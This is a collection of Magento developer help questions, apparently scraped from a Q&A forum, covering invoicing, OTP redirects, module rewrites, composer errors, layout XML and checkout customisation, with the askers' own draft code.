                        'value' => '3',
                        'label' => 'Three'
                    ]
                ]
        ];

        return $jsLayout;
    }
}

Please some one help me to get a attribute option


texts: Automatically partially invoice when shipped

texts:
I need to invoice my order automatically whenever shipment is done, but if say I ship only one item of multiple items order then invoice should also be created for only that item not for all.
I am using following code after setting a observer whenever shipped but it is invoicing all items even if I ship just one:

public function invoicedStatusChange($observer)
    {
       $shipment = $observer->getEvent()->getShipment();
       $order = $shipment->getOrder();
       if($order->canInvoice())
       {
           $invoice = Mage::getModel('sales/service_order', $order)->prepareInvoice();
           $invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_ONLINE);
           $invoice->register();
           $transactionSave = Mage::getModel('core/resource_transaction')
           ->addObject($invoice)
           ->addObject($invoice->getOrder());
           $transactionSave->save();
       }

Thanks in advance


texts: How to redirect users to custom link when user access any link?

texts:
I implemented OTP integration. Now in table 'otpp' I have column 'verified'='0' when user doesn't verify OTP and 'verified'='1' if user verified. So I need to redirect to otp verification page when 'verified' is '0'. I hope will get help. This is my block for otp verification:

public function checkotp(){

$uid = $this->getCustomerId();
//db connection
$this->_resources = \Magento\Framework\App\ObjectManager::getInstance()
->get('Magento\Framework\App\ResourceConnection');
$connection= $this->_resources->getConnection();
$tableName = $this->_resources->getTableName('otpp');

$ckotp = $_POST["getotp"];

$dates = date("Y-m-d");

    // SELECT DATA
/*$sql = "SELECT otp FROM otpp WHERE  'entity_id' = '$uid'";
$result = $connection->fetchall($sql);
$cd = $result['0'];
$dc = $cd['otp'];
*/

$dc = $this->getOtp();

if($dc === $ckotp){

    $uid = $this->getCustomerId();
    $this->_resources = \Magento\Framework\App\ObjectManager::getInstance()->get('Magento\Framework\App\ResourceConnection');
    $connection= $this->_resources->getConnection();
    $tableName = $this->_resources->getTableName('otpp');
    $mobile = $this->getId();
    $sql = "UPDATE `otpp` SET `phone` = '$mobile', `verified` = '1' WHERE entity_id = '$uid' ";
    echo "
";
    echo "Your mobile number verified";
    echo "
";
    header("Location: http://locahost/otp/index/success");

}

elseif($dc != $ckotp){

   $url = header("Location: http://localhost/otp/index/reenter");
   return $url;

}

else{
   $url = header("Location: http://localhost/otp/index/reenter");
   return $url;

}

$connection->query($sql);

}

Here my Block for redirection if otp verification is 0

public function userRedirect(){

    $suser_id = $this->getCustomerId();
    $this->_resources = \Magento\Framework\App\ObjectManager::getInstance()->get('Magento\Framework\App\ResourceConnection');
    $connection= $this->_resources->getConnection();
    $tableName = $this->_resources->getTableName('otpp');
    $sql = "SELECT verified FROM otpp WHERE `entity_id`='$suser_id'";

    $result = $connection->fetchall($sql);
    $otparray = $result['0'];
    $verified = $otparray['verified'];
            if ($verified = 0) {
            $redirect = $this->response->setRedirect('otp/index/reenter');
        }

        return $redirect;

}


texts: Problem modifying core function - class is not called

texts:
I apologize in advance for this question has been treated many times, but I think I just need a personal trainer on this!

I am trying to modify the function sendPasswordResetConfirmationEmail in Mage/Customer/Model/Customer.php

 public function sendPasswordResetConfirmationEmail()
    {
        $storeId = $this->getStoreId(); // ---->this is the line I need to change----<
        if (!$storeId) {
            $storeId = $this->_getWebsiteStoreId();
        }

        $this->_sendEmailTemplate(self::XML_PATH_FORGOT_EMAIL_TEMPLATE, self::XML_PATH_FORGOT_EMAIL_IDENTITY,
            array('customer' => $this), $storeId);

        return $this;
    }

So I created a module called M2W_Password in local, it contains etc/config.xml

<?xml version="1.0"?>
<config>
    <modules>
        <M2W_Password>
            <version>0.1.0</version>
        </M2W_Password>
    </modules>
    <global>
        <models>
            <customer>
                <rewrite>
                    <customer>M2W_Password_Model_Customer_Customer</customer>
                </rewrite>
            </customer>
        </models>
    </global>
</config>

And here is the updated function in Model/Customer/Customer.php

<?php

class M2W_Password_Model_Customer_Customer extends Mage_Customer_Model_Customer
{

    public function sendPasswordResetConfirmationEmail()
    {
        $storeId = Mage::app()->getStore()->getId();
        if (!$storeId) {
            $storeId = $this->_getWebsiteStoreId();
        }

        $this->_sendEmailTemplate(self::XML_PATH_FORGOT_EMAIL_TEMPLATE, self::XML_PATH_FORGOT_EMAIL_IDENTITY,
            array('customer' => $this), $storeId);

        return $this;
    }

}

?>

I cleared the cache, checked that the module is in Magento list of modules in system/configuration/Advanced, but the fix I put in my function is still not working.

EDIT --------------------------------

I just found out that another module extends the MAge_Customer_Model_Customer class. So here is my new class for Customer.php

class M2W_Password_Model_Customer_Customer extends Magestore_Onestepcheckout_Model_Customer_Customer
 {

But still it doesn't work. Which is weird because when I put the actual code I'm trying to implement directly in the other module Customer.php it works


texts: Magento 2: save product description for adminhtml programmatically

texts:
I cannot see description and short description attributes of the product in adminhtml after saving:

/** @var \Magento\Store\Model\StoreManagerInterface */
protected $_manStore;
/** @var \Magento\Catalog\Api\ProductRepositoryInterface */
protected $_repoProd;

/**
 * @param \Magento\Catalog\Api\Data\ProductInterface $product
 * @param string $name
 * @param string $desc
 * @param string $shortDesc
 * @param int $status
 * @param float $price
 * @param float $weight
 */
protected function _updateProduct($product, $name, $desc, $shortDesc, $status, $price, $weight)
{
    $product->setName($name);
    $product->setDescription($desc);
    $product->setShortDescription($shortDesc);
    $product->setStatus($status);
    $product->setPrice($price);
    $product->setWeight($weight);
    $this->_manStore->setCurrentStore("0");
    $this->_repoProd->save($product);
}

Description & short desc. attributes are saved for default store view instead (store_id=1):

How can I save these attributes visible for adminhtml using Magento way (not SQL direct updates)?


texts: Magento 2: Update Region/States dropdown for Specific Country

texts:
I want to add only Nigeria as the option in Country Dropdown, and the nigerian states in the states/province dropdown. How to do that.
I tried something through Admin panel, when i found these issues when i select US and nigeria and shown in the below screenshot.
https://prnt.sc/oicwpt
https://prnt.sc/oicyiz

How to avoid this?
I want only nigerian states to be in the dropdown.


texts: How to set template in block for current theme

texts:
I have set template using the following code

$this->getLayout()->createBlock('core/template')->setTemplate('catalogsearch/form.mini.phtml')->toHtml();

This calls the template file from the following folder frontend/base/default/template/catalogsearch/form.mini.phtml.

How can I call this from my custom theme (i.e.) frontend/customtheme/default/template/catalogsearch/form.mini.phtml ?


texts: How to set shipping Method Programmatically if product have custom attribute

texts:
I want to set custom shipping method programmatically if product have custom attribute in magento 2

.I am using checkout_cart_add_product_complete event and getting product attribute after adding in cart.

etc/events.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">

    <event name="checkout_cart_add_product_complete">
        <observer name="checkout_cart_product_add_after_add_shipping"
                  instance="Sarvesh\Tiwari\Observer\CheckoutCartProductAddAfter"/>
    </event>
</config>

observer/CheckoutCartProductAddAfter.php

$item = $observer->getEvent()->getData('quote_item');
        $product = $observer->getEvent()->getData('product');
        $itemProId = $item->getProduct()->getId();
        $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
        $product_data = $objectManager->create('Magento\Catalog\Model\Product')->load($itemProId);
        $supplier = $product_data->getData('supplier');
        if(isset($supplier) && $supplier!=''){
            if($supplier=='supplier_a'){
                //echo 'Supplier a add Shipping Method UPS';
            $quote = $observer->getEvent()->getQuote();
            $quote->getShippingAddress()->setFlateRate(true);
            $quote->save();
            }elseif($supplier=='supplier_b'){
                //echo 'Supplier b add Shipping Method FedeX';
               $quote = $observer->getEvent()->getQuote();
                $quote->getShippingAddress()->setFlateRate(true);
                $quote->save();
            }elseif($supplier=='supplier_b' && $supplier=='supplier_a'){
                echo 'both A && B apply both shipping Method';
            }
        }

how to set custom shipping method in magento 2.


texts: Magento Security Scan : some of results are UNKNOWN

texts:
I am trying magento's New Magento Security Scan and find out some of Unidentified Results.

Status of results are UNKNOWN.

How can i completely scan my website.


texts:
I tried :

$store = Mage::app()->getStore();
$configValue = Mage::getStoreConfig('design/themes/templates', $store);

but it returned null. Where is my fault?
p.s. Value set


texts:
I have recently gone through magento's core ScopeInterface file which is located in Magento\Store\Model.

My question is why magento define SCOPE_STORES & SCOPE_STORE similar as WEBSITE and for GROUP.

Whenever i want to get data with scopeConfig how can i get (means if i want website data then SCOPE_WEBSITE or SCOPE_WEBSITES, which constant i have to use) ?

$this->scopeConfig->getValue(self::XML_PATH_PRODUCT_MAX_QTY,ScopeInterface::SCOPE_WEBSITES);


texts: Magento 2.3 what is "Empty attribute value constant' in import

texts:
Is anyone know in Mageno 2.3 product import a new field is introduced i.e "Empty attribute value constant" field.
What is the use for


texts:
How much risk is to truncate table inventory_reservation ?

After truncate does MSI will work fine or Do i need to bang my head on keyboard !!?


texts:
Magento:

I am trying to update the magento via Web setup and its giving me error

Check Component Dependency
We found conflicting component dependencies. Hide detail

Command "update" failed: Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

Problem 1

The requested package magento/product-comunity-edition could not be found in any version, there may be a typo in the package name.
Potential causes:

A typo in the package name
The package is not available in a stable-enough version according to your minimum-stability setting
see https://getcomposer.org/doc/04-schema.md#minimum-stability for more details.
Read https://getcomposer.org/doc/articles/troubleshooting.md for further common problems.

For additional assistance, see component dependency help .

Then i tried the CLI methods too, but this is the error i am getting
[root@eme ~]$ composer update
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

Problem 1
- Installation request for magento/product-community-edition 2.1.0 -> satisfiable by magento/product-community-edition[2.1.0].
- magento/product-community-edition 2.1.0 requires composer/composer 1.0.0-beta1 -> satisfiable by composer/composer[1.0.0-beta1] but these conflict with your requirements or minimum-stability.

My Composer.json

{
"name": "magento/project-community-edition",
"description": "eCommerce Platform for Growth (Community Edition)",
"type": "project",
"version": "2.1.3",
"license": [
    "OSL-3.0",
    "AFL-3.0"
],
"require": {
    "magento/product-community-edition": "2.1.4",
    "composer/composer": "@alpha",
    "magento/product-comunity-edition": "2.1.4"
},
"require-dev": {
    "phpunit/phpunit": "4.1.0",
    "squizlabs/php_codesniffer": "1.5.3",
    "phpmd/phpmd": "@stable",
    "pdepend/pdepend": "2.2.2",
    "fabpot/php-cs-fixer": "~1.2",
    "lusitanian/oauth": "~0.3 <=0.7.0",
    "sebastian/phpcpd": "2.0.0"
},
"config": {
    "use-include-path": true
},
"autoload": {
    "psr-4": {
        "Magento\\Framework\\": "lib/internal/Magento/Framework/",
        "Magento\\Setup\\": "setup/src/Magento/Setup/",
        "Magento\\": "app/code/Magento/"
    },
    "psr-0": {
        "": "app/code/"
    },
    "files": [
        "app/etc/NonComposerComponentRegistration.php"
    ]
},
"autoload-dev": {
    "psr-4": {
        "Magento\\Sniffs\\": "dev/tests/static/framework/Magento/Sniffs/",
        "Magento\\Tools\\": "dev/tools/Magento/Tools/",
        "Magento\\Tools\\Sanity\\": "dev/build/publication/sanity/Magento/Tools/Sanity/",
        "Magento\\TestFramework\\Inspection\\": "dev/tests/static/framework/Magento/TestFramework/Inspection/",
        "Magento\\TestFramework\\Utility\\": "dev/tests/static/framework/Magento/TestFramework/Utility/"
    }
},
"minimum-stability": "alpha",
"prefer-stable": true,
"repositories": [
    {
        "type": "composer",
        "url": "https://repo.magento.com/"
    }
],
"extra": {
    "magento-force": "override"
}
}


texts: Adding keepframe(false) to core swatch img

texts: Currently I am using keepFrame(false) on the product images of my category listings page to remove the white space Magento automatically adds. How can I also pass keepframe(false) to the images that are swapped out by the core swatches so the white space does not return when swatches are clicked? Thanks


texts: Adding validation to top search bar breaks autocomplete functionality

texts:
I have a problem where adding validation to the top search bar causes the Auto-complete to stop working.

Here is the code for validation which works but breaks auto-complete.

<form id="search_mini_form" class="header-search" action="<?php echo $catalogSearchHelper->getResultUrl() ?>" method="get">

        <button type="submit" class="button-alt" title="<?php echo $this->__('Go') ?>"><?php echo $this->__('Go') ?></button>

            <input id="search" type="text" value="<?php echo $this->htmlEscape(Mage::app()->getRequest()->getParam($catalogSearchHelper->getQueryParamName())); ?>" class="search-required-entry" name="<?php echo $catalogSearchHelper->getQueryParamName() ?>" maxlength="<?php echo $catalogSearchHelper->getMaxQueryLength();?>" placeholder="<?php echo $this->__('Search mysite.com…') ?>"/>

</form>

The code for the actual validation is below:

Has anyone found a way to have auto-complete and validation work on the same form?

If you can help I'd be very grateful...


texts: Link directly to a tab in adminhtml tab widget

texts:
Is it possible to link directly to a tab on a backend page, using URL fragments?

In particular, I want to link to the "Manage Label / Options" tab on the "Edit Product Attribute Page":

I hope for something like /admin/catalog_product_attribute/edit/attribute_id/1/#product_attribute_tabs_labels where the URL fragment #product_attribute_tabs_labels is read in JavaScript and the tab gets selected.

If that's not possible out of the box, how could this feature be added with an additional script and without rewriting templates?


texts: Magento 1 - Free Shipping after applying Gift Card Code

texts:
I've been struggling with an issue regarding free shipping and gift card codes.

So basically I have a free shipping rule which applies to orders above $100, based on subtotal after applying discount codes.
However, my issue is that Magento does not make a difference between gift card codes and coupon codes.
For example, I don't want someone applying a gift $100 card code to pay for shipping, but I want someone who places $100 worth of products in their cart and applies a 10% off coupon code.

  Is there an extension or a solution to this problem?


texts: How to show fedex estimated delivery date to be displayed along with the shipping option on my checkout page

texts:
Currently in checkout process, in shipping method section Fedex Shipping method showing as  -

Federal Express

Ground - $13.86
Standard Overnight - $36.87
2 Day - $36.87

I would like the estimated delivery date to be displayed along with the shipping option on my checkout page.

Federal Express

Ground - Est. Delivery February 21, 2016 $13.86
Standard Overnight - Est. Delivery February 21, 2016 $36.87
2 Day - Est. Delivery February 21, 2016 $36.87

One more thing "Is Fedex return delivery date ?" if yes "how can i get the delivery date ?".


texts: Magento2 how to access CSV file exists in var folder with website URL?

texts:
I am working with Magento 2.3.3 my instance is on the AWS server. On Magento2 how to access CSV file exists in var folder with website URL.

i.e. I have one file resides on var/export/test.csv now I want to access this test.csv file from my website URL

  www.abc.com/var/export/test.csv

but it is always showing a 404 error: Page not found error.

How can I solve this issue?

Thanks in advance!!


texts:
I need to wrap all my content in a div. I'm trying to add a container w/o any success. I created a child theme and a custom-home.xml config file as follow:

<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_layout.xsd">
<update handle="empty"/>

    <container name="panel" as="panel" label="panel" htmlTag="div" htmlClass="panel" htmlId="panel" after="body">
        <referenceContainer name="page.wrapper">
            <container name="ves-slideshow" as="ves-slideshow" label="Page Slideshow Container" htmlTag="div" htmlClass="ves-slideshow clearfix" before="main.content"/>
        </referenceContainer>
    </container>

</layout>

the container with name="panel" does not show up. What am I misunderstading?


texts: Autoselect the cheapest UPS shipping rate on checkout

texts:
I need to auto select the cheapest UPS shipping rate on checkout page.

in the picture above I need Ground to be selected by default.

we are trying to make our checkout easier for customers and pre-selecting shipping rate is the first step.

PS: I tried modifying

app/design/frontend/base/default/template/checkout/onepage/shipping_method/available.phtml

and had checked="checked" placed for the first item and it worked. But grandtotal didn't include shipping cost in that case.


texts: What does the notation ${ $.index } refer to in XML files

texts:
I've recently started hoping on the Magento2 train. And I'm quite puzzled by some of the aspects of building dataGrids.

One of which is a weird syntax I came across on answers here or on tutorials on the web.
For example, there's a bit that tells Magento how to store Bookmark values (as I understand it).

<item name="storageConfig" xsi:type="array">
    <item name="provider" xsi:type="string">jobs_department_listing.jobs_department_listing.listing_top.bookmarks</item>
    <item name="root" xsi:type="string">columns.${ $.index }</item>
    <item name="namespace" xsi:type="string">current.${ $.storageConfig.root}</item>
</item>

I really don't understand this notation: columns.${ $.index }. Is looks like JS to me, definitely not XML, but I don't know where it's coming from, nor where to look for it, as it's not defined anywhere in the .xsd either.

Could someone please enlighten me?


texts: Magento 2 How to get product qty before added to cart with JS?

texts:
I'm trying to get the quantities of a bundle product before added to cart with js, jquery, knockout js or whatever can allow me to do this. I want to validate that user cannot add to cart if the qty of products added to bundle is not 7.

I show an example.

I need to get those qty and enable or disable Add to Cart button, depending on the qty.

Where can I start to have a look?
I know that in module-checkout/view/frontend/templates there are some useful templates that I can override.

Thanks!


texts:
I'm trying to include a JavaScript countdown and price of product on the product page and also in the category page but I have the following bug: for RWD theme because of tier price, the observer inserts the price and countdown twice.
My observer looks like this and here is my phtml file.
RWD theme has this div for price info:

    <?php echo $this->getPriceHtml($_product); ?>

    <?php echo $this->getChildHtml('bundle_prices') ?>

    <?php echo $this->getTierPriceHtml() ?>

If I remove the last line with TierPrice, my observer does not duplicate my price, but if I don't then the price is duplicated.
Can someone tell me what's wrong?

Thanks guys !


texts: Magento 2 Product detail page tab not working

texts:
I have facing one issue some time in a site that in product detail page description, more information tabs are not working and it will generate an error in console.

Here is console log error

jquery.js:253 Uncaught Error: Method forceDeactivate does not exist on jQuery.collapsible
at Function.error (jquery.js:253)
at jQuery.fn.init.jQuery.fn.<computed> [as collapsible] (materialize.min.js:6)
at HTMLDivElement.<anonymous> (tabs.js:179)
at HTMLDivElement.dispatch (jquery.js:5226)
at HTMLDivElement.elemData.handle (jquery.js:4878)
at Object.trigger (jquery.js:5130)
at Object.jQuery.event.trigger (jquery-migrate.js:633)
at HTMLDivElement.<anonymous> (jquery.js:5860)
at Function.each (jquery.js:370)
at jQuery.fn.init.each (jquery.js:137)
at jQuery.fn.init.trigger (jquery.js:5859)
at $.<computed>.<computed>._open (collapsible.js:481)
at $.<computed>.<computed>._open (jquery-ui.js:402)
at $.<computed>.<computed>.activate (collapsible.js:464)
at $.<computed>.<computed>.activate (jquery-ui.js:402)
at $.<computed>.<computed>._eventHandler (collapsible.js:358)

forceDeactivate function is call in Magento 2 default tabs.js #177 to #181

        $.each(this.collapsibles, function () {
            $(this).on('beforeOpen', function () {
                self.collapsibles.not(this).collapsible('forceDeactivate');
            });
        });

Please see here how it is functioning now.

Any help will appreciate.

Thanks in advance. :)


texts: Magento 2: How to add validation in Custom Component Extend

texts:
How to add custom validation in component extend element magento2 where value is required and it must be a URL below is the js component extend snippet
define(
    [
        'uiComponent',
        'Abc_OneStepCheckout/js/model/checkout-data',
        'Abc_OneStepCheckout/js/model/url/url'
    ],
    function (Component, checkoutData, url) {
        'use strict';

        return Component.extend({
            defaults: {
                template: 'Abc_OneStepCheckout/sidebar/url',
                inputValue: ''
            },
            isVisible: window.checkoutConfig.isUrlEnabled,

            /**
             * @inheritdoc
             */
            initialize: function () {
                var url = checkoutData.getUrl();

                this._super();

                if (url) {
                    this.inputValue(url);
                }
                this.inputValue.subscribe(function (newValue) {
                    checkoutData.setUrl(newValue);
                }, this);
            },

            /**
             * @inheritdoc
             */
            initObservable: function () {
                this._super();
                this.inputValue = url;

                return this;
            }
        });
    }
);

I have added validation in checkout layout xml - but it didn't work
<item name="vanity-url" xsi:type="array">
    <item name="component" xsi:type="string">Abc_OneStepCheckout/js/view/sidebar/url</item>
    <item name="sortOrder" xsi:type="string">13</item>
    <item name="displayArea" xsi:type="string">url</item>
    <item name="dataScope" xsi:type="string">url</item>
    <item name="provider" xsi:type="string">checkoutProvider</item>
     <item name="validation" xsi:type="array">
        <item name="required-entry" xsi:type="boolean">true</item>
        <item name="url" xsi:type="boolean">true</item>
    </item>
</item>


texts:
I am making a page that have three main section and every section have a different footer. I also use a Litespeed caching to increase the page loading time. So that why i am want to use the recommended from the way of implementing different footer for different pages here is the link.
The problem is that when i remove the footer i can put the new one, the page is without footer. I am using Magento 1.9.2.4 and i am disable all caching in the system and still no footer. Here is my xml code that i put in local.xml

<remove name="footer"/>
<reference name="root">
  <block type="page/html_footer" name="homefooter" as="footer" template="page/htm/homefooter.phtml">
    <block type="core/text_list" name="footer_top" as="footer_top" translate="label">
        Footer Top
    </block>
    <block type="core/text_list" name="footer_bottom" as="footer_bottom" translate="label">
        Footer Bottom
    </block>
    <block type="cms/block" name="footer_social_link">
        <action method="setBlockId">
            <block_id>footer_social_link</block_id>
        </action>
    </block>
    <reference name="footer_top">
      <block type="cms/block" name="footer_links">
        <action method="setBlockId">
          <block_id>footer_links</block_id>
        </action>
      </block>
    </reference>
  </block>
</reference>

Can someone help me with this?


texts: Magento 2- Why for some products only one image roles are showing?

texts: I'm using Magento 2.1.11, We noticed that for some SKUs only one image role is showing i.e. base image (Attaching screenshot below) other image roles are not showing. I tried setting them programmatically & tried updating roles by uploading products again but none of them are working. Please help. We have almost 700 SKUs that contain this issue. Thanks for your help in advance!


texts:
I'm trying to import a csv which contains both configurable and simple products. I'm using the built-in "Import all products" profile, and using this example:

"attribute_set","type","category_ids","sku","has_options","name","dimension","collezione","url_key","url_path","price","weight","status","visibility","tax_class_id","tipologia","description","qty","product_name","product_type_id","variante","associated","super_products_sku"

I get them all imported but the ones I want to be associated are not.
What do I need to do to achieve this?

Thanks a lot


texts: Add div background image in email template

texts:
I have created a custom email template and I want to add background image to one of its div element. I have added html file in my email with below content.

But its not working. It removes whole style tag from my div in final email.
If I am using complete image static url, it works correctly like below.

Please note here that I want to add background image and not img field with src. I have checked and found that the image path is correct so no issues with image path here.
Does anyone know how we can add background image in email template content.


texts: How to add suffix to URL link (/?currency=usd)

texts:
When switching currency between CAD and USD dollars. The product url does not change. It stay the same
www.example.com/sport-equipment/soccer-ball/

I need to add the suffix to produt url such as ?currency=usd or ?currency=cad

When switching the currency to CAD (Canadian dollar) the url link should look like this:
www.example.com/sport-equipment/soccer-ball/?currency=cad

When switching the currency to USD (US dollar) the url link should look like this:
www.example.com/sport-equipment/soccer-ball/?currency=usd

Please help out, I've been trying for the past week, and cannot find a solution.


texts: Use of Jquery 1.10 with Known Vulnerability

texts:
We launched a website 2 weeks ago and our client launch a pen test to check if everything was safe.
Unfortunately It looks that we have two issues because of :

Vulnerable javascript library: jQuery.ui.dialog : version: 1.10.4
script uri: //static/version1586970304/frontend/Sm/market/fr_BE/jquery/patches/jquery-ui.js
Vulnerable javascript library: jQuery version: 1.12.4
script uri: //static/version1586970304/frontend/Sm/market/fr_BE/jquery.js

Is it real breach?
Can we do something to solve it?
I'm a bit afraid of updating the library since it will ask a lot of work.

Many thanks for your help!
Regards


texts: Add coupon code to an existing Item in Admin Panel

texts:
I am currently working on adding a discount for an existing order which is not invoiced yet in Magento admin panel. To do that I thought it is better to use Coupon codes. What I am trying to do is adding a coupon code for an existing order to make a discount on that order.

Till now I have added the coupon code input box into Order control panel. I need to connect that field with the Coupon controller and add a new function to add coupon code for an existing order. Is this the correct thing to do to make a discount on an existing order or is there a better way to do that? Is there anyone who can guide me to accomplish that?

Cheers


texts:
I'm running a fresh Magento2.3 install on ubuntu 18.04.

I managed to edit sample data yesterday, but today I had a go at adding a new product.

After saving - I got the error :

  One or more indexes are invalid. Make sure your Magento cron job is
  running.

I found the following thread: Magento 2 Reindexing - One or more indexers are invalid. Make sure your Magento cron job is running

Which suggested running indexer by hand -

php bin/magento indexer:info

When I do I get the error

  cache_dir "/var/www/html/Magento2/var/cache/" is not writable

When I check the permissions, they look correct:

  greg@VM1:/var/www/html/Magento2/var$ ls -l total 32 drwxrwxr-x 19
  www-data www-data 4096 Jun 26 15:01 cache

www-data is as I understand my apache2 user and would be the user that is accessing the cache?

I can run the command from superUser, but it doesn't seem like the way is supposed to work?

Edit I've managed to run these commands by running them as root, but my understanding is they should be being run automatically when any changes are made that requires the indexes to be rebuilt, unless it being done by Cron job.  I've got the store set to rebuild them on save.


texts: Magento 2 - moving search box to Navigation area

texts:
I want to move search box to the right side of category lists on top navigation menu:

I've added the following line in Magento_Theme/layout/default.xml which moved search box to the desired position ( image above is the result ) :

<move element="top.search" destination="catalog.topnav" before="-" />

However, when I click on the box to insert text the cursor jumps out of focus immediately. But if I right click into the box -> paste data there and press Enter or magnifier icon, search function still work.

What else do I need to add to my code to make it work, or is there another solution?


texts: Date and Time Range Picker in custom widget

texts:
I have been looking for a way to implement the Date and Time Range Picker into a widget.xml file. Anyone who can help?
The Date and Time Range Picker


texts: Admin panel showing 404 error after data migration

texts:
I have done data migration from Magento 1.9.4.4 to Magento 2.3.2.
I did reindexing and i am not able to access admin panel.
Admin panel is giving 404 error after migration. Frontend works well.
What should i do?


texts:
https://newsite.com to https://www.newsite.com results in a 302 redirect. Not sure from where this temporary redirect is coming. Site nginx configuration has only 301 redirects. Here is the configuration.

https://stackoverflow.com/questions/54603417/nginx-301-redirect-from-oldsite-to-newsite


texts: Display "Free" for product with price of $0.00

texts:
I'm trying to achieve the following in magento 2.2.2

  products with the price of $ 0.00 should display the following text: "FREE" on the front-end

I've already created my custom theme and the folder of "Magento_Catalog". My question is, how can I achieve what I've described earlier?
(or better said, where can I find the phtml or php files to copy them into my custom theme and customize them?)


texts: magento 2 get value of selected select box using knockout in custom module

texts:
I have created custom module , in which I have created front end template form using knockout js.
In form I have created a select box.
I want selected option value in form post method and save that value in data base.

Below is my code in html template.

       <select data-bind="
                  optionsValue: 'value',
                    optionsText: 'label',
                    optgroup: [{
                        label: 'Prefix',
                        value: [{
                            label: 'Mr',
                            value: 'Mr'
                        }, {
                            label: 'Mrs',
                            value: 'Mrs'
                        }, {
                            label: 'Miss',
                            value: 'Miss'
                        }
                        ]
                    }]">

            </select>

If any one has did this , please help me.


texts: Magento 2.3.6 and removing the compare product capability

texts:
I'm trying to remove the compare products from appearing on the product page. We're a small publisher, and I'm not sure what compare would look like between two books in our catalog.
I'm currently using 2.3.6 and I've found in my searches a number of suggested modifications to the code that would supposedly remove this. However, many of them appear to be for earlier versions of Magento 2, and either the files are no longer named the same or the code changes do not work for the later version. Could anyone provide a code change for the compare items removal specifically for 2.3.6?
Thank you, Jeff


texts: Incorrect amounts on order when custom currency set on quote

texts:
So when I create an order programmatically, I use the following lines to set a custom currency different from the base, in this example GBP as custom and EUR as base. I also select the store to use:

Mage::app()->getStore($store)->setCurrentCurrency(Mage::getModel('directory/currency')->load("GBP"));
$quote = Mage::getModel('sales/quote')->setStoreId("1");
$quote->setBaseCurrencyCode((Mage::getModel('directory/currency')->load("EUR"));
$quote->setQuoteCurrencyCode(Mage::getModel('directory/currency')->load("GBP"));

As can now be seen, the correct currency is now applied and calculations are correct for subtotals and tax. Including the custom currency and base currency.

My problem occurs when I am trying this on our live server, it appears to set the custom currency values the same as the base currency. This is causing us many issues in accounting.

Any help on resolving this problem would be greatly appreciated.


texts: After changing store for different language it does not change static content or user added content in magento 2?

texts:
I have created 2 store views one for English and another for Persian and it works,but when I change website language, it converts only Magento phrases,

Actually, I want to convert all additional information,
I tried using the language dictionary 'fa_IR.csv'(Persian dictionary) but that also affects only Magento prases.

How can I resolve it?

Thanks.


texts:
How can I call a .phtml file in Observer?

I want to show popup window when event observer fires after customer login so I can call phtml file that contains html popup?

So After Customer logged-in a popup appear on the screen directly that contain string text.

Observer declaration in config.xml:

<frontend>
        <events>
            <customer_login>
                <observers>
                    <mumodule_model_observer>
                        <type>model</type>
                        <class>mymodule/observer</class>
                        <method>my_custom_event</method>
                    </mymodule_model_observer>
                </observers>
            </customer_login>
        </events>
    </frontend>

My Observer Class:

<?php

class Company_MyModule_Model_Observer
{
    public function my_custom_event($observer)
    {
        $customer = $observer->getCustomer();
    }
}

Base on : https://stackoverflow.com/a/38117362/6041121


texts: Appending product list with custom collection

texts:
I am making a small module to display a product list with content depending on the URI.

/storeid/parts/ would be the base, with all parts/products

/storeid/parts/mobile would contain all parts in category mobile -> parts
etc..

I got to the point where it's rendering the page layout with my custom search block, but now ,how do I append a product list after the search bar?

Current code:

    $this->loadLayout();
    $items = [];
    $model = Mage::getModel('catalog/category');
    $url = rtrim(Mage::helper('core/url')->getCurrentUrl(), '/');
    foreach(explode(',', $brands) as $item) {
        $name = $model->load($item)->getName();
        $items[] = [
            'url' => $url . "/" . $this->sanitize($name),
            'name' => $name
        ];
    }

    $block = $this->getLayout()->createBlock('core/template');
    $block->setTemplate('mavalier/parts/filter.phtml')->assign([
        'params' => $params,
        'items' => $items
    ]);
    $this->getLayout()->getBlock('content')->append($block);

    $block2 = $this->getLayout()->createBlock('core/template')->setTemplate('catalog/product/list.phtml');
    $this->getLayout()->getBlock('content')->append($block2);

    $this->renderLayout();

I feel like this is close, but it says Fatal error: Call to a member function count() on null in C:\Users\natha\Documents\CM24\app\design\frontend\parasol\default\template\catalog\product\list.phtml on line 51 which makes me think $this->getLoadedProductcollection() returns null..

How do I 'set' the LoadedProductCollection?

To be honest, if you think the code i've got is wrong or isn't how Magento is intended;

I get that, but this is more a proof of concept rather than production material anyway.


texts: Can't get product manufacturer attribute in my custom module

texts:
I already searched here, but none answers have work.

I have a custom module, where I get a list of products from one category setted by user, it is coded in a Helper class:

public function getConfigCategory()
{
    $category = $this->_categoryFactory->create()->load('CONFIGURATION');
    return $category;
}

public function getFilteredProducts()
{
    return $this->getConfigCategory()->getProductCollection()->addAttributeToSelect('*');
}

So, with this I have a list of products, wich one foreach (in a Model class), but when I try to get the manufacturer attribute, it always return null.

$brand = $product->getAttributeText('manufacturer');

$brand is always null, I have tried to reload $product with this:

$product = $this->objectManager->get('Magento\Catalog\Model\Product')->load($product->getId());

But the result is always the same, any ideia? Thanks in advance.

I'm using the sample data, and I have bundle items


texts:
I have a table included some data about warehouse operation (order_id, phase, duration, datetime, order_canceled), so I need to draw a graph to present these data for performance management.

I tried to create a module named "Warehousereport" into mangento admin, so how can I override Magento graph in dashboard in this module ? Another way, anyone can give me a tutorial to do that ?

Please help me, I'm stucking. Thank you very much.


texts:
I have a store for printed invitations that has a minimum order of 30 on most products, but there needs to be an option for individual samples too.

I've seen quite a few tutorials for sample buttons and also know how to set minimum order quantities for each product, but I'm not sure if these can be combined, particularly as the sample button will essentially add a quantity of 1 to the cart.

Does anyone know if this is possible or have ideas for a workaround?

Thanks!


texts:
Ive tried to override the _forms.less file in my theme but its only extending the original _forms.less.

My file is placed under app/design/frontend/Vendor/Theme/web/css/source/_forms.less.

I am using Magento 2.1.9 and compiling with grunt.
I`ve run following commands:

php bin/magento cache:flush
grunt exec
grunt less

The wacher works when I change my _forms.less but it is still not overriding but extending the base file.


texts:
